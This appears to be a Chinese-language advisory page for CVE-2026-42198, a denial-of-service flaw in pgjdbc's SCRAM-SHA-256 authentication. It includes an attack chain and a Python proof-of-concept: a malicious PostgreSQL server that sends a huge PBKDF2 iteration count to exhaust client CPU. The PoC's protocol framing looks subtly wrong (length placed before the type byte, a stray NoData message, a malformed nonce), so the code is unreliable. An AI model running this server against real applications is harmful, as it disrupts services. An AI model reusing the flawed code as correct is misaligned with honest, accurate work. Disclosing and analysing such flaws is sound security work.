IPBUF安全漏洞报告
English
CVE-2026-42198 CVSS 7.5 高危

CVE-2026-42198 pgjdbc SCRAM认证拒绝服务漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-42198
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pgjdbc (PostgreSQL JDBC Driver)

相关标签

CVE-2026-42198拒绝服务DoSpgjdbcPostgreSQLSCRAMPBKDF2客户端漏洞

漏洞概述

pgjdbc(PostgreSQL JDBC驱动)在42.2.0至42.7.11之前的版本中存在客户端拒绝服务漏洞。在SCRAM-SHA-256认证过程中,恶意服务器可以指示驱动程序执行具有极大迭代次数的SCRAM认证。由于客户端需要在PBKDF2计算中消耗大量CPU时间,导致单次尝试即可占用一个CPU核心。重复或并发尝试会耗尽客户端CPU并阻塞连接池。尽管设置了loginTimeout,但执行连接尝试的工作线程仍可能继续运行并消耗CPU。该问题已在42.7.11版本中修复。

技术细节

该漏洞的根本原因在于pgjdbc驱动程序在处理SCRAM-SHA-256认证协议时,未能对服务器端下发的PBKDF2迭代次数进行合理的上限限制。SCRAM(Salted Challenge Response Authentication Mechanism)协议是一种基于质询-响应的认证机制,其安全性依赖于PBKDF2(Password-Based Key Derivation Function 2)算法进行密钥派生。该算法的计算成本与迭代次数呈线性关系,旨在通过增加计算时间来抵御暴力破解攻击。在受影响的pgjdbc版本中,驱动程序完全信任由数据库服务器返回的迭代次数参数。攻击者利用这一缺陷,可以搭建一个恶意的PostgreSQL服务器。当受害者的应用程序(使用受影响的JDBC驱动)尝试连接该恶意服务器时,攻击者可以在认证流程的SASLContinue阶段,响应一个极大的迭代次数值(例如几百万甚至更大)。一旦接收到该参数,客户端驱动程序便会陷入PBKDF2的哈希计算循环中,持续消耗CPU资源。由于驱动程序的loginTimeout机制存在缺陷,它仅能中断调用者的等待,而无法强制终止正在进行高强度计算的工作线程。因此,即使连接超时,后台线程依然在占用CPU。攻击者通过并发发起多个连接请求,即可迅速占满目标系统的所有CPU核心,导致合法请求无法处理,从而实现拒绝服务攻击。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别目标应用程序正在使用受影响版本的pgjdbc驱动(42.2.0至42.7.11之前)。
STEP 2
步骤2:环境搭建
攻击者搭建一个恶意的PostgreSQL服务器,该服务器被配置为在SCRAM-SHA-256认证流程中响应特制的参数。
STEP 3
步骤3:诱导连接
攻击者诱骗或配置受害者的应用程序连接到该恶意的数据库服务器(例如通过修改配置文件或中间人攻击)。
STEP 4
步骤4:发送恶意载荷
当客户端尝试连接并开始SCRAM认证时,恶意服务器在SASLContinue消息中发送一个极大的PBKDF2迭代次数。
STEP 5
步骤5:资源耗尽
客户端驱动程序开始执行高强度的PBKDF2计算,导致CPU核心被长时间占用。并发多个连接将耗尽系统所有CPU资源,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct import time # PoC for CVE-2026-42198: Malicious PostgreSQL Server # This script simulates a PG server that sends a high iteration count # to trigger the DoS in vulnerable pgjdbc clients. MALICIOUS_ITERATION_COUNT = 10000000 # 10 million iterations def send_msg(sock, msg): # PostgreSQL message format: Type + Length + Payload if msg: sock.sendall(msg) def create_auth_sasl_mechanisms(): # 'R' (AuthenticationSASL) # Payload: Int32(10) + String mechanisms mechanisms = b'SCRAM-SHA-256\x00' msg = struct.pack('>ci', b'R', 10) + mechanisms return struct.pack('>I', len(msg) + 4) + msg def create_auth_sasl_continue(salt, iteration): # 'R' (AuthenticationSASLContinue) # Payload: Int32(11) + String data # SASLContinue format: r=...,s=<salt>,i=<iteration> data = f'r=noncer=s={salt},i={iteration}\x00' msg = struct.pack('>ci', b'R', 11) + data.encode('utf-8') return struct.pack('>I', len(msg) + 4) + msg def start_malicious_server(port=5432): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f"[*] Malicious PG server listening on port {port}") while True: client, addr = server.accept() print(f"[*] Connection from {addr}") try: # 1. Send StartupMessage response (AuthenticationSASL) # Skip reading startup message for brevity, just send attack send_msg(client, b'N\x00\x00\x00\x04\x00') # NoData # Send AuthenticationSASL send_msg(client, create_auth_sasl_mechanisms()) # 2. Read client response (SASLInitialResponse) client.recv(4096) # 3. Send AuthenticationSASLContinue with high iteration count # Salt can be random, here is static salt = 'YWJjZGVmZ2hpamtsbW5vcA==' # base64 salt payload = create_auth_sasl_continue(salt, MALICIOUS_ITERATION_COUNT) # Add code for AuthenticationSASLFinal (12) to keep client waiting if needed # But the PBKDF2 happens after receiving Continue (11) send_msg(client, payload) print("[*] Malicious iteration count sent. Client should hang now.") # Keep connection open to ensure client computes time.sleep(60) except Exception as e: print(f"[-] Error: {e}") finally: client.close() if __name__ == "__main__": start_malicious_server()

影响范围

pgjdbc >= 42.2.0, < 42.7.11

防御指南

临时缓解措施
由于loginTimeout无法完全终止正在进行的PBKDF2计算线程,最有效的缓解措施是避免应用程序连接到不受信任或不受控的PostgreSQL数据库服务器。在无法立即升级驱动的情况下,应确保数据库连接字符串仅指向可信的内网地址,并利用防火墙规则限制出站连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表